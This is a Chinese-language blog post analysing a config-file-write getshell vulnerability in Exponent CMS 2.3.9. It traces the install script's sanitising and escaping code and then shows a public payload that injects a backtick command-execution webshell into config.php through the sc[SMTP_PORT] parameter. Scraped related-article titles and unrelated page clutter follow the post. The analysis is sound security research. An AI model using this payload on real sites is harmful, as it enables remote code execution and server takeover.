Exponent CMS 2.3.9 配置文件写入 Getshell分析
在 install/index.php 的第44行
expString::sanitize($_REQUEST);
跟进sanitize函数
public static function sanitize(&$data) {
// return $data;
if (is_array($data)) {
$saved_params = array();
if (!empty($data['controller']) && $data['controller'] == 'snippet') {
$saved_params['body'] = $data['body']; // store snippet body
}
foreach ($data as $var=>$val) {
// $data[$var] = self::sanitize($val);
$data[$var] = self::xss_clean($val);
}
if (!empty($saved_params)) {
$data = array_merge($data, $saved_params); // add stored snippet body
}
} else {
if (empty($data)) {
return $data;
}
$data = self::xss_clean($data);
只经过了xss_clean的检查,继续分析,install/index.php 的第56行
<?php
... // Create or update the config settings
if (isset($_REQUEST['sc'])) {
if (file_exists("../framework/conf/config.php")) {
// Update the config
foreach ($_REQUEST['sc'] as $key => $value) {
expSettings::change($key, $value);
}
} ...
}
首先如果安装成功后
if (file_exists("../framework/conf/config.php")) {
是一定进入这个分支的
跟进change函数
public static function change($var, $val)
{
$conf = self::parseFile(BASE . 'framework/conf/config.php');
$conf[$var] = $val;
self::saveValues($conf);
}
跟进saveValues函数
public static function saveValues($values, $configname = '') //FIXME only used with themes and self::change() method
{
$profile = null;
$str = "<?php\n";
foreach ($values as $directive => $value) {
$directive = trim(strtoupper($directive));
if ($directive == 'CURRENTCONFIGNAME') { // save and strip out the profile name
$profile = $value;
continue;
}
$str .= "define(\"$directive\",";
$value = stripslashes($value); // slashes added by POST
if (substr($directive, -5, 5) == "_HTML") {
$value = htmlentities($value, ENT_QUOTES, LANG_CHARSET);
// $value = str_replace(array("\r\n","\r","\n"),"<br />",$value);
$value = str_replace(array("\r\n", "\r", "\n"), "", $value);
// $value = str_replace(array('\r\n', '\r', '\n'), "", $value);
$str .= "exponent_unhtmlentities('$value')";
} elseif (is_int($value)) {
$str .= "'" . $value . "'";
} else {
if ($directive != 'SESSION_TIMEOUT') {
$str .= "'" . str_replace("'", "\'", $value) . "'"; //FIXME is this still necessary since we stripslashes above???
} // $str .= "'".$value."'";
else {
$str .= "'" . str_replace("'", '', $value) . "'";
}
}
$str .= ");\n";
} $str .= '?>';
// $configname = empty($values['CURRENTCONFIGNAME']) ? '' : $values['CURRENTCONFIGNAME'];
if ($configname == '') {
$str .= "\n<?php\ndefine(\"CURRENTCONFIGNAME\",\"$profile\");\n?>"; // add profile name to end of active profile
}
self::writeFile($str, $configname);
}
有两处很重要的操作
$value = stripslashes($value); // slashes added by POST
else {
if ($directive != 'SESSION_TIMEOUT') {
$str .= "'" . str_replace("'", "\'", $value) . "'"; //FIXME is this still necessary since we stripslashes above???
} // $str .= "'".$value."'";
else {
$str .= "'" . str_replace("'", '', $value) . "'";
}
综上跟踪再看看公开的payload
?sc[SMTP_PORT]=25\\');echo `$_POST[1]`;//
先是经过xss_clean 并不会对payload造成什么影响
再经过stripslashes
payload变成了
25\');echo `$_POST[1]`;//
再经过这波操作后
$str .= "'" . str_replace("'", '', $value) . "'";
payload又变成了
25\\');echo `$_POST[1]`;//
写进文件后变成了
define("SMTP_PORT",'25\\');echo `$_POST[1]`;//');
Exponent CMS 2.3.9 配置文件写入 Getshell分析的更多相关文章
- 帝国CMS(EmpireCMS) v7.5配置文件写入漏洞分析
帝国CMS(EmpireCMS) v7.5配置文件写入漏洞分析 一.漏洞描述 该漏洞是由于安装程序时没有对用户的输入做严格过滤,导致用户输入的可控参数被写入配置文件,造成任意代码执行漏洞. 二.漏洞复 ...
- PHP正则配合写配置文件导致Getshell
PHP正则配合写配置文件导致Getshell,偶然间看到的一个题目, p 牛的小密圈的一个问题. 分析一下,漏洞代码: index.php <?php $str=addslashes($_GET ...
- 帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)
帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086) 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过 ...
- 帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析
帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析 一.漏洞描述 该漏洞是由于javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的href属性和src属性输 ...
- 帝国CMS(EmpireCMS) v7.5 后台XSS漏洞分析
帝国CMS(EmpireCMS) v7.5 后台XSS漏洞分析 一.漏洞描述 该漏洞是由于代码只使用htmlspecialchars进行实体编码过滤,而且参数用的是ENT_QUOTES(编码双引号和单 ...
- Springboot 加载配置文件源码分析
Springboot 加载配置文件源码分析 本文的分析是基于springboot 2.2.0.RELEASE. 本篇文章的相关源码位置:https://github.com/wbo112/blogde ...
- NLog配置文件写入数据库中
NLog配置文件: <target xsi:type="Database" name="database" connectionString=" ...
- [代码审计]青云客Cms前台有条件注入至getshell,后台xss至getshell、至弹你一脸计算器
之前写了一篇关于青云客cms的文章,发在了t00ls,就不copy过来了. 给个链接,好记录一下. https://www.t00ls.net/thread-43093-1-1.html
- PHPMYWIND4.6.6前台Refer头注入+后台另类getshell分析
下载链接 https://share.weiyun.com/b060b59eaa564d729a9347a580b7e4f2 Refer头注入 全局过滤函数如下 function _RunMagicQ ...
随机推荐
- win10 系统 wifi自动断开连接 wifi热点不稳定
我的系统的电脑是win10系统,笔记本 下载了一个wifi共享大师,但是wifi总是自动断,于是就找了找问题所在 在网上看了许多方案,大多数都是 在 电源管理 把[允许计算机关闭此设备以节 ...
- daily english dictation 学习笔记[1-10]
b站网址https://www.bilibili.com/video/av17188299/?p=2 1. Mother Teresa, who received a Nobel Peace Priz ...
- String输出结果to thi
http://blog.csdn.net/itmyhome1990/article/details/9132929
- 阿里巴巴开源的Asynchronous I/O Design and Implementation
Motivation I/O access, for the most case, is a time-consuming process, making the TPS for single ope ...
- PSQLException: FATAL: no pg_hba.conf entry for host "127.0.0.1", user "ambari", database "ambari", SSL off
On your Postgres server, you will need to update your pg_hba.conf file to allow access for the ambar ...
- vue SSR : 原理(一)
前言: 由于vue 单页面对seo搜索引擎不支持,vue官网给了一个解决方案是ssr服务端渲染来解决seo这个问题,最近看了很多关于ssr的文章, 决定总结下: 参考博客:从0开始,搭建Vue2.0的 ...
- 授权普通非DBA用户可以有权限查看执行计划的方法
drop table PLAN_TABLE; 删除原plan表 执行ORACLE自带的创建脚本 @?/rdbms/admin/utlxplan.sql 创建同义词 create or re ...
- Cursor: Pin S Wait On X In The Top 5 Wait Events
Wait Events , Posted in: Technical Track Tags: Group Blog Posts, Oracle, Technical Blog Lately, wait ...
- C语言作业评价标准
C语言作业评价标准 作业内容: 每周作业分为基础作业.挑战作业和预习作业: 基础作业为本周所学内容的巩固: 挑战作业包括但不仅限于所学知识的综合运用: 预习作业为下周所学内容的任务单,要求必须在课前完 ...
- Django组件 之中间件
-------------------------------------------------------------------落花不是无情物,待到山花烂漫时. 中间件 中间件的概念 中间件顾名 ...